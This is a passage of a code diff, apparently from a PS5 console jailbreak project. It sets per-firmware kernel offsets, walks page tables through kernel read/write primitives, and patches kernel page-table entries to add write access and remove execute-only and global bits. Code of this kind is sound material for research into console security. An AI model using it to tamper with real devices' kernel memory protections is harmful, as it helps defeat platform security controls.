pin_to_core(int n) { - uint64_t m[2] = {0}; - m[0] = (1 << n); - return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m); -} - -int pin_to_first_available_core(void) { - for (int i = 0; i < 16; i++) - if (pin_to_core(i) == 0) - return i; - return -1; -} - -void unpin(void) { - uint64_t m[2] = {0xFFFF, 0}; - cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m); -} - -void notify(const char *fmt, ...) { - static char buffer[2048]; - va_list args; - - va_start(args, fmt); - vsnprintf(buffer, sizeof(buffer), fmt, args); - va_end(args); - - notify_internal((uint8_t *)buffer); - printf("%s", buffer); -} - -void notify_internal(uint8_t *msg) { - struct { - char pad[45]; - char msg[3075]; - } req; - bzero(&req, sizeof(req)); - uint64_t len = - strlen((const char *)msg) < (sizeof(req.msg) - 1) ? strlen((const char *)msg) : (sizeof(req.msg) - 1); - memcpy(req.msg, msg, len); - sceKernelSendNotificationRequest(0, &req, sizeof(req), 0); -} - -void enter_rest_mode(void) { - void *event = NULL; - sceKernelOpenEventFlag(&event, "SceSystemStateMgrStatus"); - sceKernelNotifySystemSuspendStart(); - sceKernelSetEventFlag(event, 0x400); - sceKernelCloseEventFlag(&event); -} - - -// Kit type by EchoStretch -bool if_exists(const char* path) { - struct stat st; - return stat(path, &st) == 0; -} - -bool sceKernelIsTestKit(void) { - return if_exists("/system/priv/lib/libSceDeci5Ttyp.sprx"); -} - -bool sceKernelIsDevKit(void) { - return if_exists("/system/priv/lib/libSceDeci5Dtracep.sprx"); -} - -enum kit_type get_kit_type(void) { - if (sceKernelIsDevKit()) { - notify("DevKit detected\n"); - return KIT_DEVKIT; - } - if (sceKernelIsTestKit()) { - notify("TestKit detected\n"); - return KIT_TESTKIT; - } - notify("Retail console detected\n"); - return KIT_RETAIL; -} \ No newline at end of file +#include "utils.h" +#include "offsets.h" +#include +#include +#include +#include +#include +#include +#include + +/* Global Variables */ +offset_list env_offset; +uint64_t ktext; +uint64_t kdata; +uint64_t dmap; +uint64_t cr3; +uint32_t fw; +struct linux_info linux_i; + +int set_offsets(void) { + fw = kernel_get_fw_version() >> 16; + if (fw == 0) + return -1; + switch (fw) { + case 0x0300: + env_offset = off_0300; + break; + case 0x0310: + env_offset = off_0310; + break; + case 0x0320: + env_offset = off_0320; + break; + case 0x0321: + env_offset = off_0321; + break; + case 0x0400: + env_offset = off_0400; + break; + case 0x0402: + env_offset = off_0402; + break; + case 0x0403: + env_offset = off_0403; + break; + case 0x0450: + env_offset = off_0450; + break; + case 0x0451: + env_offset = off_0451; + break; + default: + return -1; + } + return 0; +} + +int init_global_vars(void) { + ktext = KERNEL_ADDRESS_TEXT_BASE; + kdata = KERNEL_ADDRESS_DATA_BASE; + + flat_pmap kernel_pmap; + kread(ktext + env_offset.PMAP_STORE, &kernel_pmap, sizeof(kernel_pmap)); + if (kernel_pmap.pm_pml4 == 0 || kernel_pmap.pm_cr3 == 0) + return -1; + + cr3 = kernel_pmap.pm_cr3; + dmap = kernel_pmap.pm_pml4 - kernel_pmap.pm_cr3; + + return 0; +} + +uint64_t get_offset_va(uint64_t offset) { return ktext + offset; } + +uint64_t get_pml4(uint64_t pmap) { return kread64(pmap + 0x20); } + +uint64_t getpmap(uint64_t proc) { + uint64_t vm = kread64(proc + KERNEL_OFFSET_PROC_P_VMSPACE); + uint64_t vm_pmap = kread64(vm + env_offset.VMSPACE_VM_PMAP); + return vm_pmap; +} + +// for ring3 +uint64_t va_to_pa_user(uint64_t va) { + uintptr_t self_pmap = getpmap(kernel_get_proc(getpid())); + uintptr_t self_pml4 = get_pml4(self_pmap); + uint64_t pa = va_to_pa_custom(va, self_pml4 & 0xFFFFFFFF); + return pa; +} + +// for ring0 +uint64_t va_to_pa_kernel(uint64_t va) { return va_to_pa_custom(va, cr3); } + +// Source: PS5_kldload +uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { + + uint64_t table_phys = cr3_custom & 0xFFFFFFFF; + + for (int level = 0; level < 4; level++) { + int shift = 39 - (level * 9); + uint64_t idx = (va >> shift) & 0x1FF; + uint64_t entry; + + kread(dmap + PAGE_PA(table_phys) + idx * 8, &entry, sizeof(entry)); + + if (!PAGE_P(entry)) + return 0; + + if ((level == 1 || level == 2) && PAGE_PS(entry)) { + uint64_t page_size = P_SIZE(level); + return PAGE_PA(entry) | (va & (page_size - 1)); + } + + if (level == 3) + return PAGE_PA(entry) | (va & 0xFFF); + + table_phys = PAGE_PA(entry); + } + return 0; +} + +uint64_t pa_to_dmap(uint64_t pa) { return dmap + pa; } + +// Set RW bit on all levels if needed and remove eXecute Only bit +void page_chain_set_rw(uint64_t va) { + + uint64_t table_phys = cr3; + + for (int level = 0; level < 4; level++) { + int shift = 39 - (level * 9); + uint64_t idx = (va >> shift) & 0x1FF; + uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8; + uint64_t entry; + + // Read Level X entry + kread(entry_va, &entry, sizeof(entry)); + + if (!PAGE_P(entry)) + return; + + uint8_t update = 0; + // Set RW bit on this level + if (!PAGE_RW(entry)) { + PAGE_SET_RW(entry); + update = 1; + } + // Unset XO on this level + if (PAGE_XO(entry)) { + PAGE_CLEAR_XO(entry); + update = 1; + } + if (update) { + kwrite(entry_va, &entry, sizeof(entry)); + } + + if (((level == 1 || level == 2) && PAGE_PS(entry)) || (level == 3)) { + return; + } + + table_phys = PAGE_PA(entry); + } + return; +} + +// Remove Global bit on last level +uint64_t page_remove_global(uint64_t va) { + + uint64_t table_phys = cr3; + + for (int level = 0; level < 4; level++) { + int shift = 39 - (level * 9); + uint64_t idx = (va >> shift) & 0x1FF; + uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8; + uint64_t entry; + + // Read Level X entry + kread(entry_va, &entry, sizeof(entry)); + + if (!PAGE_P(entry)) + return 0; + + if ((level == 1 || level == 2) && PAGE_PS(entry)) { + PAGE_CLEAR_G(entry); + kwrite(entry_va, &entry, sizeof(entry)); + + uint64_t page_size = P_SIZE(level); + return PAGE_PA(entry) | (va & (page_size - 1)); + } + + if (level == 3) { + + PAGE_CLEAR_G(entry); + kwrite(entry_va, &entry, sizeof(entry)); + + return PAGE_PA(entry) | (va & 0xFFF); + } + + table_phys = PAGE_PA(entry); + } + return 0; +} + +int pin_to_core(int n) { + uint64_t m[2] = {0}; + m[0] = (1 << n); + return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m); +} + +int pin_to_first_available_core(void) { + for (int i = 0; i < 16; i++) + if (pin_to_core(i) == 0) + return i; + return -1; +} + +void unpin(void) { + uint64_t m[2] = {0xFFFF, 0}; + cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m); +} + +void notify(const char *fmt, ...) { + static char buffer[2048]; + va_list args; + + va_start(args, fmt); + vsnprintf(buffer, sizeof(buffer), fmt, args); + va_end(args); + + notify_internal((uint8_t *)buffer); + printf("%s", buffer); +} + +void notify_internal(uint8_t *msg) { + struct { + char pad[45]; + char msg[3075]; + } req; + bzero(&req, sizeof(req)); + uint64_t len = strlen((const char *)msg) < (sizeof(req.msg) - 1) + ? strlen((const char *)msg) + : (sizeof(req.msg) - 1); + memcpy(req.msg, msg, len); + sceKernelSendNotificationRequest(0, &req, sizeof(req), 0); +} + +void enter_rest_mode(void) { + void *event = NULL; + sceKernelOpenEventFlag(&event, "SceSystemStateMgrStatus"); + sceKernelNotifySystemSuspendStart(); + sceKernelSetEventFlag(event, 0x400); + sceKernelCloseEventFlag(&event); +} + +// Kit type by EchoStretch +bool if_exists(const char *path) { + struct stat st; + return stat(path, &st) == 0; +} + +bool sceKernelIsTestKit(void) { + return if_exists("/system/priv/lib/libSceDeci5Ttyp.sprx"); +} + +bool sceKernelIsDevKit(void) { + return if_exists("/system/priv/lib/libSceDeci5Dtracep.sprx"); +} + +enum kit_type get_kit_type(void) { + if (sceKernelIsDevKit()) { + notify("DevKit detected\n"); + return KIT_DEVKIT; + } + if (sceKernelIsTestKit()) { + notify("TestKit detected\n"); + return KIT_TESTKIT; + } + notify("Retail console detected\n"); + return KIT_RETAIL; +}